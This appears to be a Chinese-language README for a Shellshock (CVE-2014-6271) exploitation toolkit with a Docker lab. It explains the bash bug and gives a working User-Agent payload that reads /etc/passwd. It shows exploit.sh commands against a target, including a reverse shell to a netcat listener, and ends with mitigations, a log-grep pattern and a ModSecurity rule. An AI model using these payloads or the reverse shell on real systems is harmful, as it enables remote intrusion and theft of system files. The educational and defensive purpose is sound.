重现 Shellshock(CVE-2014-6271)——曾危及数百万台服务器的 bash 漏洞。自动化利用工具包 + Burp Suite 方法论 + Docker 实验室。专为安全研究与教育而构建。进攻性安全作品集项目。
针对 CVE-2014-6271 (Shellshock) 的自动化利用工具包
一个完整的安全研究项目,演示了 2014 年影响数百万台服务器的 Shellshock 漏洞。包含自动化扫描、利用能力和防御建议。
Demo
Shellshock (CVE-2014-6271) 是 Bash shell 中的一个严重漏洞,允许通过环境变量操作实现远程代码执行。该漏洞在存在 22 年后于 2014 年被发现,影响了全球数百万台 Unix/Linux 系统。
工作原理:
# Normal: Bash exports functions as environment variables
my_function='() { echo "hello"; }'
# The bug: Bash continues parsing after the function definition
exploit='() { :;}; echo "PWNED"' # The second command executes
使用 CGI 的 Web 服务器会将 HTTP 头作为环境变量传递给 Bash,从而使其易受攻击:
User-Agent: () { :;}; echo; /bin/bash -c 'cat /etc/passwd'
# Clone and setup
git clone https://github.com/YOUR-USERNAME/bash-apocalypse.git
cd bash-apocalypse
# Start vulnerable lab
docker-compose up -d
# Run exploit
chmod +x exploit.sh
./exploit.sh --url http://localhost:8080/cgi-bin/test.cgi --cmd "whoami"
自动化扫描器
利用工具
实验环境
./exploit.sh --scan --target localhost --port 8080
./exploit.sh --url http://target/cgi-bin/test.cgi --cmd "id"
# Terminal 1
nc -lvnp 4444
# Terminal 2
./exploit.sh --url http://target/cgi-bin/test.cgi --reverse-shell YOUR_IP:4444


修改 User-Agent 头:
User-Agent: () { :;}; echo; /bin/bash -c 'cat /etc/passwd'

服务器会执行你的命令并返回输出。
Client (Attacker)
│
│ HTTP Request with malicious User-Agent
▼
Web Server
│
│ Passes header as environment variable
▼
CGI Script
│
│ Spawns Bash process
▼
Bash Shell
│
│ Parses function + executes trailing commands
▼
Command Execution (RCE)
当 Bash 在环境变量中遇到函数定义时:
() { :;}# Update Bash
sudo apt-get update && sudo apt-get upgrade bash
# Disable CGI if not needed
sudo a2dismod cgi && sudo systemctl restart apache2
# Check logs for exploitation attempts
grep -E "\\(\\)|\\{.*\\}" /var/log/apache2/access.log
SecRule REQUEST_HEADERS "\\(\\).*\\{" "deny,status:403,msg:'Shellshock Attack'"
bash-apocalypse/
├── README.md
├── exploit.sh # Main tool
├── payloads.txt # Test payloads
├── docker-compose.yml # Lab setup
└── screenshots/
├── intercept.png
├── Payload.png
└── result.png
仅供教育用途。 仅可测试你拥有或获得明确授权测试的系统。未经授权的访问属于违法行为。
旨在理解漏洞的工作原理以及如何防御它们。 ;)